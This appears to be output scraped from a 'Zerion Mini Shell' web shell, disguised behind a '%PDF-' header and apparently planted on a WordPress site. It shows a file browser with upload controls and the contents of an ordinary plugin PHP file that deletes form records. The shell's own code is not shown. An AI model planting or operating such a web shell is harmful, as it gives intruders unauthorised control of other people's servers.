%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/buggydubrovnik.com/wp-content/plugins/css-javascript-toolbox/models/
Upload File :
Create Path :
Current File : /var/www/html/buggydubrovnik.com/wp-content/plugins/css-javascript-toolbox/models/forms.php

<?php
/**
* 
*/

/**
* 
*/
class CJT_Models_Forms {
	  
	/**
	* put your comment there...
	* 
	* @param mixed $blockId
	*/
	public function delete($blockIds) {
		// Initialize.
		$tblForm = CJTxTable::getInstance('form')
																			->setTableKey(array('blockId'));
		// Delete all forms.
		foreach ($blockIds as $blockId) {
			// Delete the form!
			$tblForm->setData(array('blockId' => $blockId))
											->delete();
		}
		// Delete form groups.
		$mdlGroups = new CJT_Models_Formgroups();
		$mdlGroups->delete($blockIds);
		// Chaining.
		return $this;
	}
	
} // End class.

Zerion Mini Shell 1.0